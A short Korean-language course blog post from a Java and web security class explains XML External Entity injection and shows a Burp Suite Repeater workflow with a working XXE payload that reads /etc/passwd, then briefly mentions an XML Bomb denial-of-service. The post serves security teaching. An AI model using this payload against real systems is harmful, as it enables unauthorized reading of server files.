메가IT아카데미 국기과정/JAVA와 웹보안
[1-10] XML External Entity Attacks
한님폐하
2022. 9. 13. 09:39
1. XXE
- XML 인젝션을 실시하여 XML Parser(마크업 분석/구조화된 정보를 어플리케이션에게 전달하는 프로세서)를 통하여 페이지의 내용을 대체하는 권한을 획득하는 취약점이다.
2. XML External Entity Attacks
- 인터셉트 내용 리피터로 이동
- 버프 슈트 r/c -> Send to Repeater -> 상단 메뉴 Repeater 클릭
- XML 인젝션 코드 제작
- 기존의 바디 내용을 다음 XXE 코드로 변경한다.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY XXE SYSTEM "file:///etc/passwd">
]>
<reset>
<login>&XXE;</login>
<secret>test</secret>
</reset>
3. Denial-of-Service (XML Bomb)
- 버프 슈트에 인터셉트된 'XML Bomb' 코드를 확인한다.